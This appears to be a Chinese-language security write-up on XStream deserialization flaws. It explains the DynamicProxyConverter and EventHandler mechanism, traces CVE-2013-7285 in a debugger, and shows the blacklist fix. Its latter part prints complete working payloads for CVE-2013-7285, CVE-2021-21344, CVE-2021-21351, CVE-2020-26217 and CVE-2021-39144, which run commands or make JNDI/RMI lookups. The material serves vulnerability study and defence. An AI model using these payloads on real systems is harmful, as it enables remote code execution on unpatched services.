XStream反序列化
XStream基础
XStream简介
XStream 是一个 Java 库,用于简化 Java 对象与 XML 之间的相互转换(序列化与反序列化)。它允许开发人员将 Java 对象直接转换为 XML 格式,或从 XML 恢复为原始对象,无需编写复杂的解析代码。
XStreamDemo
这里我们来看如何使用XStream进行序列化和反序列化操作
序列化
首先定义接口
1 2 3 public interface IPerson { void output () ; }
然后定义Person类实现前面的接口
1 2 3 4 5 6 7 8 public class Person implements IPerson { String name; int age; public void output () { System.out.print("Hello, this is " + this .name + ", age " + this .age); } }
XStream序列化使用XStream.toXML()来实现类到XML的转化
1 2 3 4 5 6 7 8 9 10 11 12 import com.thoughtworks.xstream.XStream;public class Serialize { public static void main (String[] args) { Person person = new Person (); person.name = "Sean" ; person.age =18 ; String xml = new XStream ().toXML(person); System.out.println(xml); } }
序列化后的XML数据如下
1 2 3 4 <Person > <name > Sean</name > <age > 18</age > </Person >
反序列化
同样的定义接口和类,XStream反序列化是通过XStream.fromXML()实现的,其中获取XML文件内容的方式可以通过Scanner或者FileInputStream均可
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.thoughtworks.xstream.XStream;import com.thoughtworks.xstream.io.xml.DomDriver;import java.io.FileInputStream;public class Deserialize { public static void main (String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream ("demo.xml" ); Person person = (Person) new XStream (new DomDriver ()).fromXML(fileInputStream); person.output(); } }
运行结果如下
前置知识
XStream总体由五个部分组成,其类图如下:
EventHandler类
EventHandler类是实现了InvocationHandler的一个类 ,设置的本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接
EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class EventHandler implements InvocationHandler { private Object target; private String action; ... public Object invoke (final Object proxy, final Method method, final Object[] arguments) { ... return invokeInternal(proxy, method, arguments); ... } private Object invokeInternal (Object proxy, Method method, Object[] arguments) { ... Method targetMethod = Statement.getMethod( target.getClass(), action, argTypes); ... return MethodUtil.invoke(targetMethod, target, newArgs); } ... } ... }
Converter转换器
XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。
简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。
转换器需要实现3个方法:
canConvert方法:告诉XStream对象,它能够转换的对象;
marshal方法:能够将对象转换为XML时候的具体操作;
unmarshal方法:能够将XML转换为对象时的具体操作;
具体参考:http://x-stream.github.io/converters.html
DynamicProxyConverter 动态代理转换器
DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:
XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。以官方给的例子为例:
1 2 3 4 5 6 7 <dynamic-proxy > <interface > com.foo.Blah</interface > <interface > com.foo.Woo</interface > <handler class ="com.foo.MyHandler" > <something > blah</something > </handler > </dynamic-proxy >
dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler
漏洞复现与分析
漏洞原理
XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。
利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。
CVE-2013-7285
漏洞复现
sorted-set类型的Poc如下,该Poc影响版本为:
1.3.1<XStream<1.4
1.4.5<=XStream<=1.4.6
1.4.10
1 2 3 4 5 6 7 8 9 10 11 12 13 <sorted-set > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ="java.beans.EventHandler" > <target class ="java.lang.ProcessBuilder" > <command > <string > Calc</string > </command > </target > <action > start</action > </handler > </dynamic-proxy > </sorted-set >
tree-map类型的Poc如下,该Poc影响版本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <tree-map > <entry > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ="java.beans.EventHandler" > <target class ="java.lang.ProcessBuilder" > <command > <string > open</string > <string > -na</string > <string > Calculator</string > </command > </target > <action > start</action > </handler > </dynamic-proxy > <string > good</string > </entry > </tree-map >
使用以下代码来模拟漏洞环境
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.thoughtworks.xstream.XStream;import com.thoughtworks.xstream.io.xml.DomDriver;import java.io.FileInputStream;public class CVE_2013_7285 { public static void main (String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream ("demo.xml" ); XStream xStream = new XStream (new DomDriver ()); xStream.fromXML(fileInputStream); } }
成功触发
漏洞分析
现在我们对解析流程进行追踪,在`AbstractTreeMarshallingStrategy`的`unmarshal`方法中调用了`TreeUnmarshaller`的`start`方法,即开始解析XML内容
在TreeUnmarshaller#start中,可以看到调用了HierarchicalStreams.readClassType()方法,该方法的作用是获取到XML中根标签的标签类型
在readClassType方法中会进行递归遍历,直到找到根标签的标签类型
接着会调用convertAnother函数,对java.util.SortedSet类型进行转换,跟进该函数,调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换成了java.util.TreeSet类型
接着调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器,通过迭代this.converters,直到找出能转换TreeSet类型的Converter
接着往下调试,在AbstractReferenceUnmarshaller.convert()函数中看到,会调用getCurrentReferenceKey来获取当前的Reference键即标签名,接着将当前标签名压入parenStack栈中
然后走入其父类的convert函数中,继续走进DynamicProxyConverter的unmarshal中,这里会按标签的内容生成对应接口的动态代理,此时这里的DUMMY是一个空代理的实现
回到DynamicProxyConverter的unmarshal方法,里面调用了
treeMapConverter.unmarshalComparator 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。
下面的 reader.movedown方法用来获取子元素,并把子元素添加到当前 context 的 pathTracker中
跟进之后就变得一目了然了,其中判断 reader 是否还有子元素
继续往下执行handler = (InvocationHandler)context.convertAnother(proxy, handlerType);,接下来转换器转换最终得到EventHandler
然后进行代理的替换
往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中:
跟进去,发现调用 readItem 方法读取标签内的内容并缓存到当前 Map 中
走到readItem方法中,发现他又调用了readClassType和convertAnother方法,比较像递归调用的意思。而这里的元素已经成了第二个元素<dynamic-proxy>
通过查看 mapper 可以知道,目前保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)
经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,找到对应的转换器为 DynamicProxyConverter
首先判断当前元素是否还有子元素,如果存在子元素,则进行后续的判断
根据编写的xml,获取的子元素为<interface>,经过判断if (elementName.equals("interface")),获取当前<interface>的元素,再将其转换类型
如果仍然存在子元素,再获取完<interface>后,会进行下一次的遍历,我们xml中下一个子元素为<handler>,则获取标签所的对应类,并跳出迭代
继续向下调试,会调用Proxy.newProxyInstance方法,这是动态代理中实例化代理类的过程。接着调用了context.convertAnother方法。
对应转换器为AbstractReflectionConverter,这里先会调用instantiateNewInstance方法实例化一个EventHandler类
继续向下跟进doUnmarshal方法,这里有是内部递归,在这里也看到了hasChildren方法。从 xml 中也 可以看到 <handler> 节点之下还有很多子节点
剩下的都是类似的流程了
将所有节点过完以后,最终会走到treeMapConverter.populateTreeMap,跟进到put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据。
在大多数的put方法中,都会调用其compare方法,因此后面会走到EventHandler#invoke方法中,进行反射调用导致命令执行
最终是调用到EventHandler#invoke方法,调用栈如下
1 2 3 4 5 6 7 invoke:428 , EventHandler (java.beans) compareTo:-1 , $Proxy0 (com.sun.proxy) compare:1294 , TreeMap (java.util) put:538 , TreeMap (java.util) putAll:281 , AbstractMap (java.util) putAll:327 , TreeMap (java.util) populateTreeMap:122 , TreeMapConverter (com.thoughtworks.xstream.converters.collections)
漏洞修复
根据官方的修复手段,这里其实增加了黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 xstream.registerConverter(new Converter () { public boolean canConvert (Class type) { return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); } public Object unmarshal (HierarchicalStreamReader reader, UnmarshallingContext context) { throw new ConversionException ("Unsupported type due to security reasons." ); } public void marshal (Object source, HierarchicalStreamWriter writer, MarshallingContext context) { throw new ConversionException ("Unsupported type due to security reasons." ); } }, XStream.PRIORITY_LOW);
CVE-2021-21344
超长Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ='sun.awt.datatransfer.DataTransferer$IndexOrderComparator' > <indexMap class ='com.sun.xml.internal.ws.client.ResponseContext' > <packet > <message class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart' > <dataSource class ='com.sun.xml.internal.ws.message.JAXBAttachment' > <bridge class ='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper' > <bridge class ='com.sun.xml.internal.bind.v2.runtime.BridgeImpl' > <bi class ='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl' > <jaxbType > com.sun.rowset.JdbcRowSetImpl</jaxbType > <uriProperties /> <attributeProperties /> <inheritedAttWildcard class ='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection' > <getter > <class > com.sun.rowset.JdbcRowSetImpl</class > <name > getDatabaseMetaData</name > <parameter-types /> </getter > </inheritedAttWildcard > </bi > <tagName /> <context > <marshallerPool class ='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1' > <outer-class reference ='../..' /> </marshallerPool > <nameList > <nsUriCannotBeDefaulted > <boolean > true</boolean > </nsUriCannotBeDefaulted > <namespaceURIs > <string > 1</string > </namespaceURIs > <localNames > <string > UTF-8</string > </localNames > </nameList > </context > </bridge > </bridge > <jaxbObject class ='com.sun.rowset.JdbcRowSetImpl' serialization ='custom' > <javax.sql.rowset.BaseRowSet > <default > <concurrency > 1008</concurrency > <escapeProcessing > true</escapeProcessing > <fetchDir > 1000</fetchDir > <fetchSize > 0</fetchSize > <isolation > 2</isolation > <maxFieldSize > 0</maxFieldSize > <maxRows > 0</maxRows > <queryTimeout > 0</queryTimeout > <readOnly > true</readOnly > <rowSetType > 1004</rowSetType > <showDeleted > false</showDeleted > <dataSource > rmi://localhost:15000/CallRemoteMethod</dataSource > <params /> </default > </javax.sql.rowset.BaseRowSet > <com.sun.rowset.JdbcRowSetImpl > <default > <iMatchColumns > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > </iMatchColumns > <strMatchColumns > <string > foo</string > <null /> <null /> <null /> <null /> <null /> <null /> <null /> <null /> <null /> </strMatchColumns > </default > </com.sun.rowset.JdbcRowSetImpl > </jaxbObject > </dataSource > </message > <satellites /> <invocationProperties /> </packet > </indexMap > </comparator > </default > <int > 3</int > <string > javax.xml.ws.binding.attachments.inbound</string > <string > javax.xml.ws.binding.attachments.inbound</string > </java.util.PriorityQueue > </java.util.PriorityQueue >
CVE-2021-21351
Poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <sorted-set > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XRTreeFrag' > <m__DTMXRTreeFrag > <m__dtm class ='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM' > <m__size > -10086</m__size > <m__mgrDefault > <__overrideDefaultParser > false</__overrideDefaultParser > <m__incremental > false</m__incremental > <m__source__location > false</m__source__location > <m__dtms > <null /> </m__dtms > <m__defaultHandler /> </m__mgrDefault > <m__shouldStripWS > false</m__shouldStripWS > <m__indexing > false</m__indexing > <m__incrementalSAXSource class ='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces' > <fPullParserConfig class ='com.sun.rowset.JdbcRowSetImpl' serialization ='custom' > <javax.sql.rowset.BaseRowSet > <default > <concurrency > 1008</concurrency > <escapeProcessing > true</escapeProcessing > <fetchDir > 1000</fetchDir > <fetchSize > 0</fetchSize > <isolation > 2</isolation > <maxFieldSize > 0</maxFieldSize > <maxRows > 0</maxRows > <queryTimeout > 0</queryTimeout > <readOnly > true</readOnly > <rowSetType > 1004</rowSetType > <showDeleted > false</showDeleted > <dataSource > rmi://localhost:15000/CallRemoteMethod</dataSource > <listeners /> <params /> </default > </javax.sql.rowset.BaseRowSet > <com.sun.rowset.JdbcRowSetImpl > <default /> </com.sun.rowset.JdbcRowSetImpl > </fPullParserConfig > <fConfigSetInput > <class > com.sun.rowset.JdbcRowSetImpl</class > <name > setAutoCommit</name > <parameter-types > <class > boolean</class > </parameter-types > </fConfigSetInput > <fConfigParse reference ='../fConfigSetInput' /> <fParseInProgress > false</fParseInProgress > </m__incrementalSAXSource > <m__walker > <nextIsRaw > false</nextIsRaw > </m__walker > <m__endDocumentOccured > false</m__endDocumentOccured > <m__idAttributes /> <m__textPendingStart > -1</m__textPendingStart > <m__useSourceLocationProperty > false</m__useSourceLocationProperty > <m__pastFirstElement > false</m__pastFirstElement > </m__dtm > <m__dtmIdentity > 1</m__dtmIdentity > </m__DTMXRTreeFrag > <m__dtmRoot > 1</m__dtmRoot > <m__allowRelease > false</m__allowRelease > </value > </javax.naming.ldap.Rdn_-RdnEntry > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XString' > <m__obj class ='string' > test</m__obj > </value > </javax.naming.ldap.Rdn_-RdnEntry > </sorted-set >
CVE-2020-26217
漏洞Poc如下,这里通过一个黑名单之外的gadget,可以成功绕过之前的补丁造成远程命令执行。包括1.4.13在内的所有版本都会受到漏洞的影响。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > <iterator class ='javax.imageio.spi.FilterIterator' > <iter class ='java.util.ArrayList$Itr' > <cursor > 0</cursor > <lastRet > -1</lastRet > <expectedModCount > 1</expectedModCount > <outer-class > <java.lang.ProcessBuilder > <command > <string > calc</string > </command > </java.lang.ProcessBuilder > </outer-class > </iter > <filter class ='javax.imageio.ImageIO$ContainsFilter' > <method > <class > java.lang.ProcessBuilder</class > <name > start</name > <parameter-types /> </method > <name > start</name > </filter > <next /> </iterator > <type > KEYS</type > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
CVE-2021-39144
这条链是纯原生反序列化利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > </default > <int > 3</int > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ='sun.tracing.NullProvider' > <active > true</active > <providerType > java.lang.Comparable</providerType > <probes > <entry > <method > <class > java.lang.Comparable</class > <name > compareTo</name > <parameter-types > <class > java.lang.Object</class > </parameter-types > </method > <sun.tracing.dtrace.DTraceProbe > <proxy class ='java.lang.Runtime' /> <implementing__method > <class > java.lang.Runtime</class > <name > exec</name > <parameter-types > <class > java.lang.String</class > </parameter-types > </implementing__method > </sun.tracing.dtrace.DTraceProbe > </entry > </probes > </handler > </dynamic-proxy > <string > whoami</string > </java.util.PriorityQueue > </java.util.PriorityQueue >